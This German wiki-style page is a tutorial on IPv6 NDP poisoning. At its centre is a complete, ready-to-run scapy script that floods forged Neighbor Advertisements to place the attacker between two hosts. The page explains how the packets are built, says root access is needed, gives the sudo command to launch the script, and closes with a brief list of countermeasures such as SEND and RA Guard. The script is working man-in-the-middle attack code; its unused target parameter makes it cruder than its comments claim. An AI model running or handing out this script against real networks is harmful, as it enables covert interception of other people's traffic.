IPv6 NDP Spoofing mit scapy
Zur Navigation springen
Zur Suche springen
NDP Poisoning mit Scapy
Einleitung
NDP Poisoning (Neighbor Discovery Protocol Poisoning) ist eine Angriffstechnik in IPv6-Netzwerken, die dem ARP Poisoning in IPv4 entspricht. Das Skript ermöglicht Man-in-the-Middle-Angriffe zwischen zwei IPv6-Hosts im gleichen Netzwerksegment.
Python Script
#!/usr/bin/env python3
from scapy.all import *
from scapy.layers.inet6 import ICMPv6ND_NA, ICMPv6NDOptDstLLAddr
import time
interface = "eth0"
host1 = "2003:a:32a:1799::5:1"
host2 = "2003:a:32a:1799::5:2"
my_mac = get_if_hwaddr(interface)
def ndp_spoof(target_ip, spoof_ip, iface):
# Sende eine Neighbor Advertisement, die behauptet, dass spoof_ip bei my_mac ist
pkt = Ether(src=my_mac, dst="ff:ff:ff:ff:ff:ff") / \
IPv6(src=spoof_ip, dst="ff02::1") / \
ICMPv6ND_NA(tgt=spoof_ip, R=0) / \
ICMPv6NDOptDstLLAddr(lladdr=my_mac)
sendp(pkt, iface=iface, verbose=0)
print("Starting NDP spoofing... Press Ctrl+C to stop.")
try:
while True:
# Vergifte Host1: Sage, dass Host2 bei uns ist
ndp_spoof(host1, host2, interface)
# Vergifte Host2: Sage, dass Host1 bei uns ist
ndp_spoof(host2, host1, interface)
time.sleep(2)
except KeyboardInterrupt:
print("\nStopping NDP spoofing.")
Detaillierte Erklärung
Funktionsweise
Das Skript sendet kontinuierlich gefälschte NDP (Neighbor Discovery Protocol) Neighbor Advertisement Pakete:
- Es sagt Host1, dass die MAC-Adresse von Host2 der eigenen MAC-Adresse entspricht
- Es sagt Host2, dass die MAC-Adresse von Host1 der eigenen MAC-Adresse entspricht
- Dadurch wird der gesamte Verkehr zwischen Host1 und Host2 über den Angreifer umgeleitet
Code-Analyse
Importe:
- Scapy: Framework zur Paketmanipulation
- ICMPv6ND_NA: NDP Neighbor Advertisement
- ICMPv6NDOptDstLLAddr: Option für Link-Layer-Adresse
Paketaufbau:
- Ethernet-Layer: Broadcast an alle Hosts im Netzwerk
- IPv6-Layer: Gefälschte Quell-IP (spoof_ip) an Multicast-Adresse ff02::1
- ICMPv6ND_NA: Neighbor Advertisement mit Ziel-IP und R-Flag=0 (kein Router)
- ICMPv6NDOptDstLLAddr: Enthält die eigene MAC-Adresse als gefälschte Ziel-MAC
Voraussetzungen
- Python 3 und Scapy müssen installiert sein
- Root-Rechte für RAW Socket Zugriff erforderlich
- Beide Ziel-Hosts müssen im selben IPv6-Subnetz erreichbar sein
Ausführung
sudo python3 ndp_poison.py
Gegenmaßnahmen
- Verwendung von SEND (Secure Neighbor Discovery)
- NDP Monitoring Tools
- IPv6 RA Guard
- Statische NDP Einträge